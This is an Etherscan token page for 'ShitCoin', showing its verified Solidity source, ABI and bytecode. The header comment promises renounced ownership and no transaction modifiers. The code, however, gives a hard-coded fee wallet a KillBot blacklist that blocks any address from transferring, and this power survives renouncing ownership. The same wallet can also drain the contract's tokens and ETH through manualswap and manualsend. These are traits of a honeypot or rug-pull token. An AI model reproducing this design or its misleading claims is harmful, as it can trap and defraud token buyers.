ETH Price: $3,323.68 (-3.50%)
Gas: 3 Gwei

Token

ShitCoin https://t.me/degenshitcoin (ShitCoin)
 

Overview

Max Total Supply

1,000,000,000,000,000,000 ShitCoin

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0xdedcatbounce.eth
Balance
14,819,985,396,614.285534297 ShitCoin

Value
$0.00
0x4de910a6ca7cec4fe0db9edc24c3a66d6558ea3f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShitCoin

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-07-26
*/

/*

 deploy > send eth > open trading > blacklist bot if any > liftmaxtX > renounce

  
  
  
  // No dev-wallets
  // Locked liquidity
  // Renounced ownership!
  // No tx modifiers
  // Community-Driven

  
  
*/



// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ShitCoin is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _feeAddr1;
    uint256 private _feeAddr2;
    address payable private _feeAddrWallet1;
    
    string private constant _name = "ShitCoin https://t.me/degenshitcoin";
    string private constant _symbol = "ShitCoin";
    uint8 private constant _decimals = 9;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feeAddrWallet1 = payable(0x5EF294f136dBE2D082ec5569dA914767Aac5321A);
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeAddrWallet1] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!bots[from]);
        if (from != address(this)) {
            _feeAddr1 = 3;
            _feeAddr2 = 10;
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (10 seconds);
            }
            
            
            if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
                _feeAddr1 = 3;
                _feeAddr2 = 15;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 100000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		
        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function liftMaxTx() external onlyOwner{
        _maxTxAmount = 50000000000000000 * 10**9;
    }
    function sendETHToFee(uint256 amount) private {
        _feeAddrWallet1.transfer(amount);
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 20000000000000000 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function KillBot(address _address) external {
        require(_msgSender() == _feeAddrWallet1);
            bots[_address] = true;
    }
    
    function ReviveAddress(address notbot) external {
        require(_msgSender() == _feeAddrWallet1);
        bots[notbot] = false;
    }
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function manualsend() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"KillBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"ReviveAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"liftMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526b033b2e3c9fd0803ce800000060001962000020919062000443565b6000196200002f9190620003fe565b6008556000600e60156101000a81548160ff0219169083151502179055506000600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff0219169083151502179055506b033b2e3c9fd0803ce8000000600f55348015620000a057600080fd5b506000620000b36200039f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350735ef294f136dbe2d082ec5569da914767aac5321a600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016005600062000202620003a760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b033b2e3c9fd0803ce8000000604051620003919190620003e1565b60405180910390a3620004d9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620003db8162000439565b82525050565b6000602082019050620003f86000830184620003d0565b92915050565b60006200040b8262000439565b9150620004188362000439565b9250828210156200042e576200042d6200047b565b5b828203905092915050565b6000819050919050565b6000620004508262000439565b91506200045d8362000439565b92508262000470576200046f620004aa565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6130a280620004e96000396000f3fe60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461033c578063a9059cbb14610367578063c3c8cd80146103a4578063c9567bf9146103bb578063dd62ed3e146103d257610114565b806370a0823114610294578063715018a6146102d157806375a458cc146102e85780638da5cb5b1461031157610114565b806323b872dd116100dc57806323b872dd146101d55780632ab3083814610212578063313ce567146102295780635932ead1146102545780636fc3eaec1461027d57610114565b806306fdde0314610119578063095ea7b3146101445780630defe7ff1461018157806318160ddd146101aa57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b91906128d3565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906124a6565b61042f565b60405161017891906128b8565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a391906123c9565b61044d565b005b3480156101b657600080fd5b506101bf610509565b6040516101cc9190612a35565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f79190612457565b61051d565b60405161020991906128b8565b60405180910390f35b34801561021e57600080fd5b506102276105f6565b005b34801561023557600080fd5b5061023e61069f565b60405161024b9190612aaa565b60405180910390f35b34801561026057600080fd5b5061027b600480360381019061027691906124e2565b6106a8565b005b34801561028957600080fd5b5061029261075a565b005b3480156102a057600080fd5b506102bb60048036038101906102b691906123c9565b6107cc565b6040516102c89190612a35565b60405180910390f35b3480156102dd57600080fd5b506102e661081d565b005b3480156102f457600080fd5b5061030f600480360381019061030a91906123c9565b610970565b005b34801561031d57600080fd5b50610326610a2c565b60405161033391906127ea565b60405180910390f35b34801561034857600080fd5b50610351610a55565b60405161035e91906128d3565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906124a6565b610a92565b60405161039b91906128b8565b60405180910390f35b3480156103b057600080fd5b506103b9610ab0565b005b3480156103c757600080fd5b506103d0610b2a565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061241b565b61108c565b6040516104069190612a35565b60405180910390f35b606060405180606001604052806023815260200161304a60239139905090565b600061044361043c611113565b848461111b565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048e611113565b73ffffffffffffffffffffffffffffffffffffffff16146104ae57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006b033b2e3c9fd0803ce8000000905090565b600061052a8484846112e6565b6105eb84610536611113565b6105e68560405180606001604052806028815260200161302260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059c611113565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118549092919063ffffffff16565b61111b565b600190509392505050565b6105fe611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068290612995565b60405180910390fd5b6a295be96e64066972000000600f81905550565b60006009905090565b6106b0611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073490612995565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b611113565b73ffffffffffffffffffffffffffffffffffffffff16146107bb57600080fd5b60004790506107c9816118b8565b50565b6000610816600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611924565b9050919050565b610825611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a990612995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109b1611113565b73ffffffffffffffffffffffffffffffffffffffff16146109d157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f53686974436f696e000000000000000000000000000000000000000000000000815250905090565b6000610aa6610a9f611113565b84846112e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af1611113565b73ffffffffffffffffffffffffffffffffffffffff1614610b1157600080fd5b6000610b1c306107cc565b9050610b2781611992565b50565b610b32611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690612995565b60405180910390fd5b600e60149054906101000a900460ff1615610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690612a15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061111b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2091906123f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8257600080fd5b505afa158015610d96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dba91906123f2565b6040518363ffffffff1660e01b8152600401610dd7929190612805565b602060405180830381600087803b158015610df157600080fd5b505af1158015610e05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2991906123f2565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb2306107cc565b600080610ebd610a2c565b426040518863ffffffff1660e01b8152600401610edf96959493929190612857565b6060604051808303818588803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f319190612534565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506a108b2a2c28029094000000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161103692919061282e565b602060405180830381600087803b15801561105057600080fd5b505af1158015611064573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611088919061250b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906129f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290612935565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d99190612a35565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134d906129d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bd906128f5565b60405180910390fd5b60008111611409576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611400906129b5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561146057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611844576003600a81905550600a600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561154e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115a45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115bc5750600e60179054906101000a900460ff165b1561166c57600f548111156115d057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061161b57600080fd5b600a426116289190612b1a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117175750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561176d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611783576003600a81905550600f600b819055505b600061178e306107cc565b9050600e60159054906101000a900460ff161580156117fb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118135750600e60169054906101000a900460ff165b156118425761182181611992565b600047905067016345785d8a00008111156118405761183f476118b8565b5b505b505b61184f838383611c8c565b505050565b600083831115829061189c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189391906128d3565b60405180910390fd5b50600083856118ab9190612bfb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611920573d6000803e3d6000fd5b5050565b600060085482111561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290612915565b60405180910390fd5b6000611975611c9c565b905061198a8184611cc790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611a1e5781602001602082028036833780820191505090505b5090503081600081518110611a5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d6000905490610100